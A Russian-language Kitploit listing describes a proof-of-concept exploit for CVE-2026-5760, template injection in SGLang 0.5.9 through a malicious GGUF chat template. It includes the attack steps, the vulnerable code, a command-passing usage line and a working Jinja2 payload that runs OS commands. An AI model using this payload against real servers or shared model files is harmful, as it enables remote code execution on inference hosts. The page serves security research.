Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SGLang-0.5.9-RCE — Эксплуатация Proof of Concept для CVE-2026-5760 — RCE в SGLang 0.5.9 через вредоносный GGUF | Kitploit
Инструменты/GitHubGitHub/stuub/sglang-0.5.9-rce
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubstuub/sglang-0.5.9-rce

SGLang-0.5.9-RCE

Эксплуатация Proof of Concept для CVE-2026-5760 — RCE в SGLang 0.5.9 через вредоносный GGUF

Репозиторий
524 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SGLang SSTI to RCE PoC — Непесочный рендеринг chat-шаблонов Jinja2 (CVE-2026-5760)

Удаленное выполнение кода через Server-Side Template Injection (SSTI) в эндпоинте реранкинга SGLang. Вредоносный файл модели GGUF с подделанным tokenizer.chat_template обеспечивает произвольное выполнение кода при загрузке в SGLang и вызове эндпоинта /v1/rerank.

Возможности

Использование уязвимости критической степени серьезности в SGLang через непесочный рендеринг шаблонов Jinja2. Эндпоинт реранкинга SGLang (/v1/rerank) отображает предоставленные моделью chat-шаблоны с использованием jinja2.Environment() вместо ImmutableSandboxedEnvironment, что позволяет вредоносной модели выполнять произвольный код Python на сервере инференса.

Это тот же класс уязвимостей, что и CVE-2024-34359 («Llama Drama»), затронувший llama-cpp-python.

Пошаговое прохождение атаки

  1. Злоумышленник создает файл модели GGUF с вредоносным tokenizer.chat_template, содержащим полезную нагрузку SSTI Jinja2
  2. Шаблон включает триггерную фразу Qwen3 reranker для активации уязвимого пути кода в serving_rerank.py
  3. Жертва загружает модель в SGLang (например, с HuggingFace)
  4. При любом запросе к /v1/rerank SGLang читает chat_template и рендерит его с помощью jinja2.Environment() — без песочницы
  5. Полезная нагрузка SSTI выполняет произвольный код Python на сервере

Уязвимый код

Файл: python/sglang/srt/entrypoints/openai/serving_rerank.py

root@kitploit:~
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Использование

PoC генерирует вредоносный файл GGUF и демонстрирует выполнение кода через непесочный путь рендеринга SGLang.

root@kitploit:~
python3 exploit.py "id"

Передайте любую команду shell в качестве аргумента — по умолчанию используется id.

Полезная нагрузка SSTI

Вредоносный chat-шаблон, встроенный в файл GGUF:

root@kitploit:~
MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • Триггерная фраза (The answer can only be "yes" or "no") необходима для активации детектора Qwen3 reranker в SGLang, направляющей запрос через уязвимый путь _render_jinja_chat_template().
  • lipsum.__globals__["os"].popen() выходит за пределы контекста Jinja2 для выполнения произвольных команд ОС.

Ссылки

  • CVE-2026-5760
  • CVE-2024-34359 — Тот же класс уязвимостей в llama-cpp-python
  • CVE-2025-61620 — DoS в vLLM через chat-шаблоны (та же поверхность атаки)
  • SGLang GitHub
  • CWE-1336: Некорректная нейтрализация специальных элементов, используемых в шаблонизаторе
  • CWE-94: Некорректный контроль генерации кода

Отказ от ответственности

Этот инструмент предназначен только для авторизованных исследований в области безопасности и образовательных целей. Используйте ответственно.

Скачать инструмент